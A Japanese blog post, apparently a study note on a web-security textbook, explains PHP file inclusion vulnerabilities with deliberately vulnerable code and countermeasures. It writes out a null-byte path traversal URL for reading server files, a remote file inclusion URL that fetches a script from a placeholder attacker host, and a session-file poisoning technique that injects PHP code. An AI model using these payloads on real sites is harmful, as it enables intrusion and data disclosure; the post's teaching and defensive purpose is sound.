ファイルインクルード脆弱性
発生箇所 | includeなどによりスクリプトを読み込んでいるページ |
---|---|
影響を受けるページ | すべてのページ |
影響の種類 | 情報漏洩、サイト改ざん、不正な機能実行、他サイトへの攻撃(踏み台) |
利用者の関与の度合い | 不要 |
概要
スクリプト言語にはソースの一部に別ファイルを読み込む機能がある。PHPの場合は require,require_once,include,include_once が該当する。
読み込まれるファイルを外部から指定できる場合、アプリケーションが意図しないファイルを指定することにより脆弱性が発生する場合がある。これをファイルインクルード脆弱性と呼ぶ。PHPの場合、設定によっては外部サーバのURLをファイル名として指定できる場合がある。これをリモートファイルインクルード(RFI)と呼ぶ。
攻撃手法
●ファイルインクルードによる情報漏洩
下記は脆弱性のあるスクリプト include_test.php の抜粋である。
<body> <?php> $header = $_GET['header']; require_once($header . '.php'); ?> 本文【省略】 </body>
ヘッダ用スクリプトが header1.php の場合、以下のURLにアクセスするのが正常系の呼び出しである。
http://<ホスト名>/include_test.php?header=header1
攻撃の場合、例えば以下のようなURLにアクセスする。
http://<ホスト名>/include_test.php?header=../../../etc/host%00
すると /etc/hostt の内容が表示される。URLの末尾の"%00"はヌルバイト攻撃によりPHPスクリプトで付け足している拡張子(.php)を無効するためである。
このように、ファイルインクルード攻撃によりWEBサーバ内の非公開ファイルの漏洩が起こる。
この例はディレクトリ・トラバーサル脆弱性と同じである。
●スクリプトの実行1:RFI攻撃
PHPのinclude, require はURLを指定すると外部サーバのファイルを読み込む(Remote File Include; RFI)。ただし、危険な期のであるためPHP5.2.0以降ではデフォルトでは無効になっている。
もしRFIが有効であれば、次のような攻撃が可能である。
まず、外部の攻撃スクリプトとして以下の attack.txt が用意してある。
<?php phpinfo(); ?>
この攻撃用スクリプトのURLをクエリーストリングのパラメータとして、先の include_test.php へ以下のURLでアクセスする。
http://<ホスト名>/include_test.php?header=http://<攻撃用サイトのホスト名>/attack.txt?
include_test.php では取得した値に ".php" を連結して require_once() の引数としている。よって、読み込まれるファイルのURLは以下になる。
http://<攻撃用サイトのホスト名>/attack.txt?.php
前に "?" があるので、".php" はクエリー文字列となり、攻撃用スクリプト attack.txt に書かれている phpinfo() が実行されて攻撃成功となる。
●スクリプトの実行2:セッション保存ファイルの悪用
RFIが無効にされている場合でも、次の2つの条件のいずれかを満たしていればWEBサーバ上に任意の内容を書き込める場合にはファイルインクルード攻撃によりスクリプトを実行させられる可能性がある。
- ファイルのアップロードが可能である。
- セッション変数の保存先としてファイルを使用している。
いずれの場合もファイル名が推測できることが条件である。
具体例として後者のセッション変数の保存先がファイルとなっている場合を説明する。
例として問い合わせサイトと取り上げる。この攻撃対象のサイトには、外部入力をそのままセッション変数に格納している箇所があるとする。
入力フォームは以下のようなものである。説明のために、本来はない攻撃用のコードを含んでいる(4行目)。
<form action="inquiry2.php" method="post"> 質問をどうぞ<br> <textarea name="inquiry" rows="4" cols="4"> <?php phpinfo(); ?> </textarea> <input type="submit"> </form>
質問を受け付けるスクリプトは以下になる。POSTデータをセッション変数に格納しているだけだが、攻撃の説明のためにセッション変数の格納先を表示している。
<?php session_start(); $_SESSION['inquiry'] = $_POST['inquiry']; $session_filename = session_save_path() . '/sess_' . session_id(); ?> <body> 質問を受け付けました。<br> セッションファイル名:<?php echo $session_filename; ?><br> <a href="include_test.php?header=<?php echo $session_filename; ?>%00">ファイルインクルード攻撃</a> </body>
上記スクリプトでは説明のためにセッションファイル名を表示しているが、現実のアプリケーションではこのような表示はない。よってファイル名が推測できるかどうかが問題となる。
セッション情報のファイル名は、セッション情報の保存パスとセッションIDを元に構成される。保存パスは設定変更できるがデストリビューションによってデフォルトが決まっていて、それを変更せずに使用している場合が多いと予想される。セッションIDはクッキー値からわかる。したがって、攻撃者はセッション情報の保存ファイル名を推測できる。
前記のフォームから問い合わせを送信すると、セッションファイルには以下のような形式の値が保存される。
inquiry|s:21:"<?php phpinfo(); ?> ";
これはPHPのソースコードとして有効である。問い合わせの送信した後の画面の「ファイルインクルード攻撃」というリンクをクリックすると phpinfo() が実行される。
脆弱性の原因
- インクルードされるファイル名を外部から指定できる。
- インクルードされるべきファイル名かどうかの妥当性チェックをしていない。
対策
この脆弱性の対策の考え方は、ディレクトリ・トラバーサル脆弱性の対策と同様である。
- 外部からファイル名を指定する使用を避ける。
- ファイル名にディレクトリ名が含まれないようにする。
- ファイル名を英数字に限定する。
具体的にはディレクトリ・トラバーサル脆弱性についての以前の記事を参照。
また、保険的な対策としてRFIを無告にする。PHP5.2.0以降ではデフォルトで禁止されているはずである。
設定が以下のようになっていることを確認する。
allow_url_include = off
参考文献:体系的に学ぶWebアプリケーションの作り方 4.13.1 ファイルインクルード攻撃
![]() | 体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 徳丸 浩 ソフトバンククリエイティブ 2011-03-03 売り上げランキング : 4070 Amazonで詳しく見る by G-Tools |
PATHINFO(PATH_INFO)について参考にしたサイト:
環境変数PATH_INFOとは? - 苔の一念岩をも通す ~目指せいつかはプログラマ~
PATH_INFOって何? - よくきたWiki
PHP: $_SERVER - Manual
« 初レンタカーはニコニコレンタカー | Main | Internet Explorerの条件付コメント »
「PHP」カテゴリの記事
- PHPStorm 2018.1.7 に更新(2018.12.09)
- PHPメモ051:includeとrequireの使い分け(2015.06.19)
- CakePHPのインストール(2015.06.14)
- PHPからPDOでPostgreSQLに接続する(2015.06.09)
- PHPでメールを送信したら一部のOutlookで受信したメールでヘッダがおかしくなった(2015.05.31)
「セキュリティ」カテゴリの記事
- PHPメモ041:パスワードのSalt付きハッシュ値(2014.08.09)
- ファイルインクルード脆弱性(2014.05.18)
- ファイルダウンロードによるXSS その3(2014.03.27)
- ファイルダウンロードによるXSS その2(2014.03.23)
- ファイルダウンロードによるXSS その1(2014.02.24)
The comments to this entry are closed.
Comments